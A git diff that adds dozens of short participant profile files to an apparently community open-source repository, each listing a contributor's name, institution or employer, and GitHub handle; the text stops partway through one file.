a/content/participant/AbhayBhan.md b/content/participant/AbhayBhan.md new file mode 100644 index 00000000000..95792dcd335 --- /dev/null +++ b/content/participant/AbhayBhan.md @@ -0,0 +1,5 @@ +--- +name: Abhay Bhan +institution/company: Dronacharya College of Engineering +github:AbhayBhan +--- \ No newline at end of file diff --git a/content/participant/Abhaysingh291.md b/content/participant/Abhaysingh291.md new file mode 100644 index 00000000000..d0de298704a --- /dev/null +++ b/content/participant/Abhaysingh291.md @@ -0,0 +1,3 @@ +name: Abhay Singh Verma +institution/company: Harcourt Butler Technical University Kanpur Uttar Pradesh +github:https://github.com/Abhaysingh291 diff --git a/content/participant/Abhishek-465.md b/content/participant/Abhishek-465.md new file mode 100644 index 00000000000..266a314a725 --- /dev/null +++ b/content/participant/Abhishek-465.md @@ -0,0 +1,5 @@ +--- +name: ABHISHEK BHATTACHARJEE +institution/company: JADAVPUR UNIVERSITY +github:Abhishek-465 +--- \ No newline at end of file diff --git a/content/participant/Addar5h.md b/content/participant/Addar5h.md new file mode 100644 index 00000000000..1bd13e33f91 --- /dev/null +++ b/content/participant/Addar5h.md @@ -0,0 +1,3 @@ +name: ADARSH_KUMAR +institution/company: AMITY_UNIVERSITY +github:Addar5h \ No newline at end of file diff --git a/content/participant/Aditya3435.md b/content/participant/Aditya3435.md new file mode 100644 index 00000000000..413e842e550 --- /dev/null +++ b/content/participant/Aditya3435.md @@ -0,0 +1,5 @@ +--- +name: Aditya Maurya +institution/company: National Institute of Technology, Hamirpur +github: Aditya3435 +--- diff --git a/content/participant/AdityaDarak007 b/content/participant/AdityaDarak007 new file mode 100644 index 00000000000..ed0701a339a --- /dev/null +++ b/content/participant/AdityaDarak007 @@ -0,0 +1,5 @@ +--- +name: ADITYA MAHESHWARI +institution/company: GL_BAJAJ +github: AdityaDarak007 +--- diff --git a/content/participant/AdityaJaiswal.md b/content/participant/AdityaJaiswal.md new file mode 100644 index 00000000000..4a050306cbf --- /dev/null +++ b/content/participant/AdityaJaiswal.md @@ -0,0 +1,5 @@ +--- +name: Aditya Jaiswal +institution/company: - +github: adityajaiswal094 +--- \ No newline at end of file diff --git a/content/participant/Ajin1519.md b/content/participant/Ajin1519.md new file mode 100644 index 00000000000..f7443b8f235 --- /dev/null +++ b/content/participant/Ajin1519.md @@ -0,0 +1,15 @@ +--- +# Ajin A N + +### Location + +Kerala + +### Interests + +Movies +Music + +### Profile Link + +Go to profile [Ajin1519](https://github.com/Ajin1519) diff --git a/content/participant/Ajit619.md b/content/participant/Ajit619.md new file mode 100644 index 00000000000..62209266ef1 --- /dev/null +++ b/content/participant/Ajit619.md @@ -0,0 +1,5 @@ +--- +name: Ajitkumar Vishwakarma Sharma +institution/company: Zeal College Of Engineering And Research +github: Ajit619 +--- diff --git a/content/participant/Akar-Khare.md b/content/participant/Akar-Khare.md new file mode 100644 index 00000000000..ea04b9b6651 --- /dev/null +++ b/content/participant/Akar-Khare.md @@ -0,0 +1,5 @@ +--- +name: Akar Khare +institution/company: Tata Consultancy Services, Pune +github: Akar-Khare +--- \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/Quote Generator/nikestore/index.html b/content/participant/Akashdeep-k.md similarity index 100% rename from Add Code Here/JAVASCRIPT/Quote Generator/nikestore/index.html rename to content/participant/Akashdeep-k.md diff --git a/content/participant/AkintolaRichard.md b/content/participant/AkintolaRichard.md new file mode 100644 index 00000000000..399f97675f8 --- /dev/null +++ b/content/participant/AkintolaRichard.md @@ -0,0 +1,5 @@ +--- +name: Richard Olaoluwa Akintola +institution/company: University of Uyo, Akwa Ibom State, Nigeria +github: AkintolaRichard +--- diff --git a/content/participant/AkshatJangid.md b/content/participant/AkshatJangid.md new file mode 100644 index 00000000000..3e1ca880167 --- /dev/null +++ b/content/participant/AkshatJangid.md @@ -0,0 +1,5 @@ +--- +name: Akshat Jangid +institution/company: Techno India NJR Institute Of Technology +github: AkshatJangid787 +--- diff --git a/content/participant/AkshatVerma.md b/content/participant/AkshatVerma.md new file mode 100644 index 00000000000..70e82066808 --- /dev/null +++ b/content/participant/AkshatVerma.md @@ -0,0 +1,5 @@ +--- +name: Akshat Verma +institution/company: G.L. Bajaj Institute of Technology and Management, Greater Noida +github: iamakshu29 +--- diff --git a/content/participant/AlanJames.md b/content/participant/AlanJames.md new file mode 100644 index 00000000000..10d38c959ec --- /dev/null +++ b/content/participant/AlanJames.md @@ -0,0 +1,5 @@ +--- +name: Alan James +institution/company: Amal Jyohti College of Engineering +github:alanjames-dev +--- diff --git a/content/participant/Alexander_Clemens.md b/content/participant/Alexander_Clemens.md new file mode 100644 index 00000000000..09aa04ce589 --- /dev/null +++ b/content/participant/Alexander_Clemens.md @@ -0,0 +1,5 @@ +--- +name: Alexander Clemens +institution/company: Voxander LLC +github:https://github.com/XanderRubio +--- diff --git a/content/participant/AlexandraHaynes.md b/content/participant/AlexandraHaynes.md new file mode 100644 index 00000000000..d4c9a7fcab2 --- /dev/null +++ b/content/participant/AlexandraHaynes.md @@ -0,0 +1,5 @@ +--- +name: Alexandra Haynes +institution/company: Code with Aloha +github: Alexandra-Haynes +--- diff --git a/content/participant/AliasgarSabunwala.md b/content/participant/AliasgarSabunwala.md new file mode 100644 index 00000000000..e769edecd8b --- /dev/null +++ b/content/participant/AliasgarSabunwala.md @@ -0,0 +1,5 @@ +--- +name: AliasgarSabunwala +institution/company: VIT Bhopal Campus +github:AliasgarSabunwala +--- diff --git a/content/participant/Allen-Saji.md b/content/participant/Allen-Saji.md new file mode 100644 index 00000000000..ea8020eaa75 --- /dev/null +++ b/content/participant/Allen-Saji.md @@ -0,0 +1,5 @@ +--- +name: Allen Saji +institution/company: St. Joseph's College of Engineering and Technoogy, Palai +github: Allen-Saji +--- diff --git a/content/participant/Alphaviper7769.md b/content/participant/Alphaviper7769.md new file mode 100644 index 00000000000..6f796d8101c --- /dev/null +++ b/content/participant/Alphaviper7769.md @@ -0,0 +1,5 @@ +--- +name: Aayush Raturi +institution/company: Birla Institute of Technology, Mesra +github: Alphaviper7769 +--- diff --git a/content/participant/AmaanMajeed.md b/content/participant/AmaanMajeed.md new file mode 100644 index 00000000000..ff90b737c4d --- /dev/null +++ b/content/participant/AmaanMajeed.md @@ -0,0 +1,5 @@ +--- +name: Amaan Majeed +institution/company: University of Management and Technology +github: amaanmajeed +--- diff --git a/content/participant/AmaanSiddiqui.md b/content/participant/AmaanSiddiqui.md new file mode 100644 index 00000000000..8ede6f83b08 --- /dev/null +++ b/content/participant/AmaanSiddiqui.md @@ -0,0 +1,5 @@ +--- +name: Amaan Siddiqui +institution/company: Indian Institute Of Technology, (BHU) , Varanasi +github: amaan1203 +--- diff --git a/content/participant/Amey.md b/content/participant/Amey.md new file mode 100644 index 00000000000..9ddea846186 --- /dev/null +++ b/content/participant/Amey.md @@ -0,0 +1,5 @@ +--- +Name: Amey +institution/company: NAgpur University +github: https://github.com/Amey-Chaudhari +--- diff --git a/content/participant/Amool-kk.md b/content/participant/Amool-kk.md new file mode 100644 index 00000000000..76e16611c80 --- /dev/null +++ b/content/participant/Amool-kk.md @@ -0,0 +1,5 @@ +--- +name: Amool-kk +institution/company: NIT Durgapur +github: Amool-kk +--- \ No newline at end of file diff --git a/content/participant/Androgkp.md b/content/participant/Androgkp.md new file mode 100644 index 00000000000..9fcfd12e22c --- /dev/null +++ b/content/participant/Androgkp.md @@ -0,0 +1,5 @@ +--- +name: Harsh Sharma +institution/company: Heritage Institute Of Technology +github: Androgkp +--- \ No newline at end of file diff --git a/content/participant/AnglHiiro b/content/participant/AnglHiiro new file mode 100644 index 00000000000..c2217b476d3 --- /dev/null +++ b/content/participant/AnglHiiro @@ -0,0 +1,5 @@ +--- +name: AnglHiiro +institution/company: Universidad Autonoma de Tamaulipas +github: https://github.com/AnglHiiro +--- diff --git a/content/participant/AniketDinde.md b/content/participant/AniketDinde.md new file mode 100644 index 00000000000..3b7ce84c802 --- /dev/null +++ b/content/participant/AniketDinde.md @@ -0,0 +1,5 @@ +--- +name: Aniket Mahadev Dinde +institution/company: ETerna Engineering College, Nerul, Navi Mumbai, Maharashtra, India +github: https://github.com/aniketmdinde +--- \ No newline at end of file diff --git a/content/participant/Anish-Sarawgi.md b/content/participant/Anish-Sarawgi.md new file mode 100644 index 00000000000..a0765bceb14 --- /dev/null +++ b/content/participant/Anish-Sarawgi.md @@ -0,0 +1,5 @@ +--- +name: Anish Sarawgi +institution/company: National Institute of Technology, Rourkela +github: https://github.com/Anish-Sarawgi +--- \ No newline at end of file diff --git a/content/participant/AnishaShende.md b/content/participant/AnishaShende.md new file mode 100644 index 00000000000..2efca2c87b2 --- /dev/null +++ b/content/participant/AnishaShende.md @@ -0,0 +1,5 @@ +--- +name: Anisha Shende +institution/company: Government Polytechnic +github:AnishaShende +--- diff --git a/content/participant/Ankit_kumar.md b/content/participant/Ankit_kumar.md new file mode 100644 index 00000000000..3973a823753 --- /dev/null +++ b/content/participant/Ankit_kumar.md @@ -0,0 +1,5 @@ +--- +name: Ankit Kumar +institution: Haldia Institute of Technology +github: Prankit1 +--- \ No newline at end of file diff --git a/content/participant/Ankitasen21.md b/content/participant/Ankitasen21.md new file mode 100644 index 00000000000..510a1042af9 --- /dev/null +++ b/content/participant/Ankitasen21.md @@ -0,0 +1,5 @@ +``` +name: Ankita Sen +institution: Narula Institute of Technology +github: https://github.com/Ankitasen21 +``` \ No newline at end of file diff --git a/content/participant/Ankushtripathi b/content/participant/Ankushtripathi new file mode 100644 index 00000000000..d7e07b0e34c --- /dev/null +++ b/content/participant/Ankushtripathi @@ -0,0 +1,5 @@ +--- +Name: Ankush Tripathi +institution/company: Mumbai University +github: https://github.com/ankushtripathii +--- diff --git a/content/participant/AnnTsai.md b/content/participant/AnnTsai.md new file mode 100644 index 00000000000..111689d8ced --- /dev/null +++ b/content/participant/AnnTsai.md @@ -0,0 +1,5 @@ +--- +name: Ann Tsai +institution/company: WWW +github:extend1994 +--- diff --git a/content/participant/Anugrah.md b/content/participant/Anugrah.md new file mode 100644 index 00000000000..fc4133c2270 --- /dev/null +++ b/content/participant/Anugrah.md @@ -0,0 +1 @@ +name: Anugrah Rachman institution/company: PT. Daya Sinergi Teknomandiri github: kid-omega diff --git a/content/participant/AnuranjN.md b/content/participant/AnuranjN.md new file mode 100644 index 00000000000..b2b26e981c0 --- /dev/null +++ b/content/participant/AnuranjN.md @@ -0,0 +1,5 @@ +--- +name: Anuranj N +institution/company: SRM IST RMP +github: AnuranjN +--- diff --git a/content/participant/Anya-McDonald.md b/content/participant/Anya-McDonald.md new file mode 100644 index 00000000000..be330d78994 --- /dev/null +++ b/content/participant/Anya-McDonald.md @@ -0,0 +1,5 @@ +--- +name: Anya McDonald +institution/company: Code Institute, Ireland +github: anyahush +--- \ No newline at end of file diff --git a/content/participant/Apurb-Sinha.md b/content/participant/Apurb-Sinha.md new file mode 100644 index 00000000000..0fbf19e2d03 --- /dev/null +++ b/content/participant/Apurb-Sinha.md @@ -0,0 +1,5 @@ +--- +name: Apurb Sinha +institution/company: Supreme Knowledge Foundation Group of Institutions +github:https://github.com/ApurbSinha7 +--- diff --git a/content/participant/Apurva.md b/content/participant/Apurva.md new file mode 100644 index 00000000000..a8f9bcef2e0 --- /dev/null +++ b/content/participant/Apurva.md @@ -0,0 +1,5 @@ +--- +Name: Chandan Mali +institution/company: Mumbai University +github: https://github.com/Chandanmali +--- diff --git a/content/participant/Archana727.md b/content/participant/Archana727.md new file mode 100644 index 00000000000..455246a44c0 --- /dev/null +++ b/content/participant/Archana727.md @@ -0,0 +1,5 @@ +--- +name: Archana +institution/company: Aktu +github:Archana727 +- diff --git a/content/participant/Arjun.md b/content/participant/Arjun.md new file mode 100644 index 00000000000..7c229abf235 --- /dev/null +++ b/content/participant/Arjun.md @@ -0,0 +1,2 @@ +Arjun Bhandari +https://github.com/ArjunBhandari-666 diff --git a/content/participant/ArjunAghera.md b/content/participant/ArjunAghera.md new file mode 100644 index 00000000000..c7b5314cfa3 --- /dev/null +++ b/content/participant/ArjunAghera.md @@ -0,0 +1,5 @@ +--- +name: Arjun Aghera +institution/company: Manipal University Jaipur +github:ArjunAghera +--- diff --git a/content/participant/Arka.md b/content/participant/Arka.md new file mode 100644 index 00000000000..75c093445d3 --- /dev/null +++ b/content/participant/Arka.md @@ -0,0 +1,3 @@ +**Name: Arkadipta Mojumder** +**Institution: VIT Vellore** + [Github Profile](https://github.com/arkaslittlemind) diff --git a/content/participant/ArpanBasu.md b/content/participant/ArpanBasu.md new file mode 100644 index 00000000000..5773d63178d --- /dev/null +++ b/content/participant/ArpanBasu.md @@ -0,0 +1,5 @@ +--- +name: Arpan Basu +institution/company: Institute of Engineering and Management, Kolkata +github: https://github.com/ArpanLeedan +--- diff --git a/content/participant/ArpitShah.md b/content/participant/ArpitShah.md new file mode 100644 index 00000000000..2e6b8800eaa --- /dev/null +++ b/content/participant/ArpitShah.md @@ -0,0 +1,3 @@ +name: Arpit Shah +institution/company: Dwarkadas. J. Sanghvi College of Engineering +github: Arpit472002 diff --git a/content/participant/Aryainguz.md b/content/participant/Aryainguz.md new file mode 100644 index 00000000000..46f0a953f8f --- /dev/null +++ b/content/participant/Aryainguz.md @@ -0,0 +1,3 @@ +name: Aryan Inguz +institution/company: Chitkara University, Rajpura +github: Aryainguz diff --git a/content/participant/Ashlin21dev.md b/content/participant/Ashlin21dev.md new file mode 100644 index 00000000000..0d4174fc643 --- /dev/null +++ b/content/participant/Ashlin21dev.md @@ -0,0 +1,3 @@ +| *NAME* | *UNIVERSITY* | *GITHUB LINK* | +|:-------|:------------:|---------------:| +| Ashlin | VIT AP | https://github.com/Ashlin21dev| diff --git a/content/participant/AutumLeaf.md b/content/participant/AutumLeaf.md new file mode 100644 index 00000000000..7311ab05916 --- /dev/null +++ b/content/participant/AutumLeaf.md @@ -0,0 +1,5 @@ +--- +name: NIRAV KUMAR +institution/company: PARUL UNIVERSITY +github:AutumLeaf +--- diff --git a/content/participant/AviralManglik.md b/content/participant/AviralManglik.md new file mode 100644 index 00000000000..9cd0003c449 --- /dev/null +++ b/content/participant/AviralManglik.md @@ -0,0 +1,5 @@ +--- +name: Aviral Manglik +institution/company: NIET +github:AviralManglik +--- diff --git a/content/participant/AviroopNandy.md b/content/participant/AviroopNandy.md new file mode 100644 index 00000000000..8d5c4fa4a1b --- /dev/null +++ b/content/participant/AviroopNandy.md @@ -0,0 +1,5 @@ +--- +name: Aviroop Nandy +institution: VIT Vellore +github: https://github.com/AviroopNandy +--- diff --git a/content/participant/Ayansaxena24.md b/content/participant/Ayansaxena24.md new file mode 100644 index 00000000000..a768fd1776e --- /dev/null +++ b/content/participant/Ayansaxena24.md @@ -0,0 +1,5 @@ +--- +Name: Ayan Saxena +institution/company: Institute of Engineering and Technology, DAVV +github: https://github.com/Ayansaxena24 +--- \ No newline at end of file diff --git a/content/participant/AyrtonCossuol.md b/content/participant/AyrtonCossuol.md new file mode 100644 index 00000000000..8f32d0d4b18 --- /dev/null +++ b/content/participant/AyrtonCossuol.md @@ -0,0 +1,5 @@ +--- +name: Ayrton Cossuol +institution/company: Universidade Federal do Espirito Santo +github: AyrtonCossuol +--- diff --git a/content/participant/AyushJain.md b/content/participant/AyushJain.md index 3846560b43d..b7b58a02bb9 100644 --- a/content/participant/AyushJain.md +++ b/content/participant/AyushJain.md @@ -1,5 +1,5 @@ ---- -name: Ayush Jain -institution/company: AKTU -github: AyushJain001 +--- +name: Ayush Jain +institution/company: AKTU +github: AyushJain001 --- \ No newline at end of file diff --git a/content/participant/BSEF19M505.md b/content/participant/BSEF19M505.md new file mode 100644 index 00000000000..e3a8122b9f3 --- /dev/null +++ b/content/participant/BSEF19M505.md @@ -0,0 +1,5 @@ +--- +name: Hiza Tariq +institution/company: Punjab University College of Information Technology +github: BSEF19M505 +--- \ No newline at end of file diff --git a/content/participant/Bal_Kishan_Reddy.md b/content/participant/Bal_Kishan_Reddy.md new file mode 100644 index 00000000000..af75d29b295 --- /dev/null +++ b/content/participant/Bal_Kishan_Reddy.md @@ -0,0 +1,5 @@ +--- +name: BAL KISHAN REDDY +institution/company: Eastpoint College of Engineering and Technology +github: Krrishn07 +--- diff --git a/content/participant/Banerjee2021.md b/content/participant/Banerjee2021.md new file mode 100644 index 00000000000..708dc0f4ccf --- /dev/null +++ b/content/participant/Banerjee2021.md @@ -0,0 +1,5 @@ +--- +name: Abhinav Banerjee +institution/company: Institute of Technical Education and Research +github:Banerjee2021 +--- diff --git a/content/participant/BhagatHarsh.md b/content/participant/BhagatHarsh.md new file mode 100644 index 00000000000..6e19754bb0b --- /dev/null +++ b/content/participant/BhagatHarsh.md @@ -0,0 +1,5 @@ +--- +name: Harsh Bhagat +institution/company: Ahmedabad University +github: BhagatHarsh +--- diff --git a/content/participant/Bharath-acchu.md b/content/participant/Bharath-acchu.md new file mode 100644 index 00000000000..2703b51f007 --- /dev/null +++ b/content/participant/Bharath-acchu.md @@ -0,0 +1,5 @@ +--- +name: Bharath C S +institution/company: Sir M. Visvesvaraya Institute of Technology +github: bharath-acchu +--- diff --git a/content/participant/BrandLop.md b/content/participant/BrandLop.md new file mode 100644 index 00000000000..5af20c167d9 --- /dev/null +++ b/content/participant/BrandLop.md @@ -0,0 +1,5 @@ +--- +name: Brandon +institution: Internet +github: BrandLop +--- diff --git a/content/participant/Chaitanya_Waghaye.md b/content/participant/Chaitanya_Waghaye.md new file mode 100644 index 00000000000..ec54efbfdfa --- /dev/null +++ b/content/participant/Chaitanya_Waghaye.md @@ -0,0 +1,5 @@ +--- +name: Chaitanya Waghaye +institution/company: Government College of Engineering Nagpur +github:Chaitanya1603 +--- diff --git a/content/participant/CharalambosIoannou.md b/content/participant/CharalambosIoannou.md new file mode 100644 index 00000000000..294e69a018a --- /dev/null +++ b/content/participant/CharalambosIoannou.md @@ -0,0 +1,5 @@ +--- +name: Charalambos Ioannou +institution/company: Air Traffic Controller +github: CharalambosIoannou +--- diff --git a/content/participant/Cipher-unhsiV.md b/content/participant/Cipher-unhsiV.md new file mode 100644 index 00000000000..6599f6fb041 --- /dev/null +++ b/content/participant/Cipher-unhsiV.md @@ -0,0 +1,5 @@ +--- +name: T S Vishnuvasan +institution/company: Sri Venkateswara College of Engineering +github:Cipher-unhsiV +--- diff --git a/content/participant/CodeBreaker.md b/content/participant/CodeBreaker.md new file mode 100644 index 00000000000..389865503d6 --- /dev/null +++ b/content/participant/CodeBreaker.md @@ -0,0 +1,5 @@ +--- +name: Diego Perez Perez +institution/company: University of Guanajuato +github:CodeBreaker518 +--- \ No newline at end of file diff --git a/content/participant/CoderGhost37.md b/content/participant/CoderGhost37.md new file mode 100644 index 00000000000..d2034f82f25 --- /dev/null +++ b/content/participant/CoderGhost37.md @@ -0,0 +1,5 @@ +--- +name: Kushagra Mathur +institution/company: Kalinga Institute of Industrial Technology +github: https://github.com/CoderGhost37 +--- diff --git a/content/participant/CoderRounak.md b/content/participant/CoderRounak.md new file mode 100644 index 00000000000..9e1eab5b6d8 --- /dev/null +++ b/content/participant/CoderRounak.md @@ -0,0 +1,5 @@ +--- +name: Rounak Hazra +institution/company: RCC Institute of Information Technology +github: CoderRounak +--- \ No newline at end of file diff --git a/content/participant/CristinaEU1.md b/content/participant/CristinaEU1.md new file mode 100644 index 00000000000..823b5644463 --- /dev/null +++ b/content/participant/CristinaEU1.md @@ -0,0 +1,5 @@ +--- +name: Cristina +institution/company: UPB Bucharest, Romania +github:CristinaEU1 +--- diff --git a/content/participant/DYNAMICMORTAL.md b/content/participant/DYNAMICMORTAL.md new file mode 100644 index 00000000000..9c0b0a36f61 --- /dev/null +++ b/content/participant/DYNAMICMORTAL.md @@ -0,0 +1,5 @@ +--- +name: Mihir Amin +institution/company: APSIT, THANE +github: DYNAMICMORTAL +--- \ No newline at end of file diff --git a/content/participant/Daksh.md b/content/participant/Daksh.md new file mode 100644 index 00000000000..eae08e9d29d --- /dev/null +++ b/content/participant/Daksh.md @@ -0,0 +1,5 @@ +--- +name: Daksh Lakhotiya +institution/company: Gurukula Kangri Vishwavidhyalaya, Haridwar, Uttrakhand +github: daksh890 +--- \ No newline at end of file diff --git a/content/participant/Darkshadow0001boss.md b/content/participant/Darkshadow0001boss.md new file mode 100644 index 00000000000..9b87a0b379a --- /dev/null +++ b/content/participant/Darkshadow0001boss.md @@ -0,0 +1,5 @@ +--- +name: Tushal Sharma +institution: IIT +github: https://github.com/Darkshadow0001boss +--- diff --git a/content/participant/DarshanGhorpadeProfileData.md b/content/participant/DarshanGhorpadeProfileData.md new file mode 100644 index 00000000000..29614ce787b --- /dev/null +++ b/content/participant/DarshanGhorpadeProfileData.md @@ -0,0 +1,5 @@ +--- +Name: Darshan Ghorpade +institution/company: FC College, India +github:DarshanGhorpade +--- diff --git a/content/participant/Darshanjoshi16.md b/content/participant/Darshanjoshi16.md new file mode 100644 index 00000000000..580f2a2afd9 --- /dev/null +++ b/content/participant/Darshanjoshi16.md @@ -0,0 +1,12 @@ + + + + + + + + + + + +
    NameInstitution/Company NameGitHub
    Darshan JoshiSCET / 1Rivet India LLPdarshanjoshi16
    diff --git a/content/participant/Dauka03.md b/content/participant/Dauka03.md new file mode 100644 index 00000000000..f16c390ea49 --- /dev/null +++ b/content/participant/Dauka03.md @@ -0,0 +1,5 @@ +--- +name: Daulet Abishev +institution: SDU university +github: https://github.com/Dauka03 +--- \ No newline at end of file diff --git a/content/participant/Debarya76.md b/content/participant/Debarya76.md new file mode 100644 index 00000000000..cd9ec5758fc --- /dev/null +++ b/content/participant/Debarya76.md @@ -0,0 +1,5 @@ +--- +name: Debarya Pal +institution/company: TECHNO MAIN SALT LAKE +github: debarya76 +--- \ No newline at end of file diff --git a/content/participant/DesertDragen.md b/content/participant/DesertDragen.md new file mode 100644 index 00000000000..388f9cbc110 --- /dev/null +++ b/content/participant/DesertDragen.md @@ -0,0 +1,5 @@ +--- +name: DesertDragen +institution/company: N/A +github: github.com/DesertDragen +--- \ No newline at end of file diff --git a/content/participant/Devansh-gaur-1611.md b/content/participant/Devansh-gaur-1611.md new file mode 100644 index 00000000000..ba60510e16b --- /dev/null +++ b/content/participant/Devansh-gaur-1611.md @@ -0,0 +1,5 @@ +--- +name: Devansh Gaur +institution/company: Indian Institue of Technology(IIT BHU), Varanasi +github: Devansh-gaur-1611 +--- \ No newline at end of file diff --git a/content/participant/DevasisPanda.md b/content/participant/DevasisPanda.md new file mode 100644 index 00000000000..4066006c611 --- /dev/null +++ b/content/participant/DevasisPanda.md @@ -0,0 +1,5 @@ +--- +name: DEVASIS PANDA +institution/company: VELTECH UNIVERSITY +github: DevasisPanda +--- diff --git a/content/participant/Dikshali.md b/content/participant/Dikshali.md new file mode 100644 index 00000000000..dd0157c7dd1 --- /dev/null +++ b/content/participant/Dikshali.md @@ -0,0 +1,5 @@ +--- +name: Dikshali Margaj +institution/company: SPLN International LLC +github: Dikshali +--- diff --git a/content/participant/DilshadBasith.md b/content/participant/DilshadBasith.md new file mode 100644 index 00000000000..8eb5210dc43 --- /dev/null +++ b/content/participant/DilshadBasith.md @@ -0,0 +1,6 @@ + +--- +name: DILSHAD BASITH +institution/company: EMEA COLLEGE OF ARTS AND SCIENCE, KONDOTTI, KERALA +github:https://github.com/dilshadbasith +--- diff --git a/content/participant/Dinesh.md b/content/participant/Dinesh.md new file mode 100644 index 00000000000..b6ddfcbb161 --- /dev/null +++ b/content/participant/Dinesh.md @@ -0,0 +1,5 @@ +--- +name: Dinesh +institution: National Institue of Technlogy, Kurukshetra +github: dinesh21o9 +--- \ No newline at end of file diff --git a/content/participant/DoPaNik.md b/content/participant/DoPaNik.md new file mode 100644 index 00000000000..3f9f6c111e8 --- /dev/null +++ b/content/participant/DoPaNik.md @@ -0,0 +1,5 @@ +--- +name: DoPaNik +institution/company: Novatec Consulting GmbH +github:DoPaNik +--- diff --git a/content/participant/Ekraj Ghimire b/content/participant/Ekraj Ghimire new file mode 100644 index 00000000000..34b84147e22 --- /dev/null +++ b/content/participant/Ekraj Ghimire @@ -0,0 +1,5 @@ +--- +name: Ekraj Ghimire +institution/company: Jain University, Bangalore +github: ManishGhimire127 +--- diff --git a/content/participant/Electromorphous.md b/content/participant/Electromorphous.md new file mode 100644 index 00000000000..a61458bd954 --- /dev/null +++ b/content/participant/Electromorphous.md @@ -0,0 +1,5 @@ +--- +name: Aseer +institution/company: Acharya Institutes +github: Electromorphous +--- diff --git a/content/participant/ForBai.md b/content/participant/ForBai.md new file mode 100644 index 00000000000..7cee769efcd --- /dev/null +++ b/content/participant/ForBai.md @@ -0,0 +1,5 @@ +--- +name: Lars Wiegandt +institution/company: School +github: ForBai +--- diff --git a/content/participant/GPrince00.md b/content/participant/GPrince00.md new file mode 100644 index 00000000000..6bbb868b81d --- /dev/null +++ b/content/participant/GPrince00.md @@ -0,0 +1,5 @@ +--- +name: Prince +institution/company: UNIVESP +github:GPrince00 +--- \ No newline at end of file diff --git a/content/participant/GShreya06.md b/content/participant/GShreya06.md new file mode 100644 index 00000000000..fbfc6bbf735 --- /dev/null +++ b/content/participant/GShreya06.md @@ -0,0 +1,5 @@ +--- +name: SHREYA GUPTA +institution/company: UNIVERSITY OF DELHI +github:GShreya06 +--- \ No newline at end of file diff --git a/content/participant/GUPTA_DIKSHITA.md b/content/participant/GUPTA_DIKSHITA.md new file mode 100644 index 00000000000..48cbfa90bce --- /dev/null +++ b/content/participant/GUPTA_DIKSHITA.md @@ -0,0 +1,5 @@ +--- +name: DIKSHITA GUPTA +institution/company: GURU NANAK DEV ENGINEERING COLLEGE +github:GUPTA-DIKSHITA +--- \ No newline at end of file diff --git a/content/participant/Garry.md b/content/participant/Garry.md new file mode 100644 index 00000000000..10ec491203e --- /dev/null +++ b/content/participant/Garry.md @@ -0,0 +1,5 @@ +--- +name: Gaurav Misal +institution: Sinhgad college of Engineering +github: https://github.com/Garry028 +--- diff --git a/content/participant/Gaurav-2803.md b/content/participant/Gaurav-2803.md new file mode 100644 index 00000000000..f02709d67d2 --- /dev/null +++ b/content/participant/Gaurav-2803.md @@ -0,0 +1,5 @@ +--- +Name: Gaurav Agrawal +Institution: JSPMs JSCOE +Github: github.com/Gaurav-2803 +--- diff --git a/content/participant/Gaurav.md b/content/participant/Gaurav.md new file mode 100644 index 00000000000..f00f96d5015 --- /dev/null +++ b/content/participant/Gaurav.md @@ -0,0 +1,5 @@ +--- +Name: Gaurav Jha +institution/company: DR DY Patil Institute of Technology +github: https://github.com/GAURAV5925 +--- diff --git a/content/participant/GauthamG2.md b/content/participant/GauthamG2.md new file mode 100644 index 00000000000..30401cf28fd --- /dev/null +++ b/content/participant/GauthamG2.md @@ -0,0 +1,5 @@ +--- +name: Gautham +institution/company: Axiata Digital Labs +github: GauthamG2 +--- \ No newline at end of file diff --git a/content/participant/GiovannaMarinho.md b/content/participant/GiovannaMarinho.md new file mode 100644 index 00000000000..d67ea58a5f6 --- /dev/null +++ b/content/participant/GiovannaMarinho.md @@ -0,0 +1,5 @@ +--- +name: Giovanna Marinho +Profession: MSc student at São Paulo State University (UNESP) +github: Giovannacm +--- \ No newline at end of file diff --git a/content/participant/GrinlexGH.md b/content/participant/GrinlexGH.md new file mode 100644 index 00000000000..bf779c7f61c --- /dev/null +++ b/content/participant/GrinlexGH.md @@ -0,0 +1,5 @@ +--- +name: Maxim Temirbekov +institution/company: graduated from the Junior Computer Academy "STEP", study at school No. 643 of the Moscow District of St. Petersburg +github: GrinlexGH +--- \ No newline at end of file diff --git a/content/participant/Gustavobflh.md b/content/participant/Gustavobflh.md new file mode 100644 index 00000000000..748094ad096 --- /dev/null +++ b/content/participant/Gustavobflh.md @@ -0,0 +1,5 @@ +--- +name: Gustavo Borges +institution/company: Observatório Nacional ON +github: Gustavobflh +--- diff --git a/content/participant/GuyKh.md b/content/participant/GuyKh.md new file mode 100644 index 00000000000..0bcec26bb36 --- /dev/null +++ b/content/participant/GuyKh.md @@ -0,0 +1,5 @@ +--- +name: Guy Khmel +institution/company: Wix +github: GuyKh +--- \ No newline at end of file diff --git a/content/participant/Haider.md b/content/participant/Haider.md new file mode 100644 index 00000000000..f124d2197f3 --- /dev/null +++ b/content/participant/Haider.md @@ -0,0 +1,5 @@ +--- +name: Mohd Haider +company: Current Eco +github: mhaider110 +--- \ No newline at end of file diff --git a/content/participant/Haiku32.md b/content/participant/Haiku32.md new file mode 100644 index 00000000000..1624edaa26f --- /dev/null +++ b/content/participant/Haiku32.md @@ -0,0 +1,5 @@ +--- +name: Haiku +institution/company: N/A +github: Haiku32 +--- diff --git a/content/participant/HarishGehlot.md b/content/participant/HarishGehlot.md new file mode 100644 index 00000000000..2ea573fab88 --- /dev/null +++ b/content/participant/HarishGehlot.md @@ -0,0 +1,5 @@ +--- +Name: Harish Gehlot +institution/company: Shri Vaishnav Vidyapeeth Vishwavidyalaya +github: https://github.com/Hg03/ +--- diff --git a/content/participant/Harsh-91221.md b/content/participant/Harsh-91221.md new file mode 100644 index 00000000000..40b9311791d --- /dev/null +++ b/content/participant/Harsh-91221.md @@ -0,0 +1,5 @@ +--- +name: Harsh Kumar +institution/company: GL Bajaj Institute of Technology and Management +github: https://github.com/Harsh-91221 +--- diff --git a/content/participant/Harsh-Manoor.md b/content/participant/Harsh-Manoor.md new file mode 100644 index 00000000000..2b717a07c84 --- /dev/null +++ b/content/participant/Harsh-Manoor.md @@ -0,0 +1,5 @@ +--- +name: Harsh Manoor +institution/company: CU +github: https://github.com/Harsh-Manoor +--- diff --git a/content/participant/Hemant-Agrawal.md b/content/participant/Hemant-Agrawal.md new file mode 100644 index 00000000000..511e6ff2067 --- /dev/null +++ b/content/participant/Hemant-Agrawal.md @@ -0,0 +1,29 @@ +--- +# HEMANT AGRAWAL + +### Location 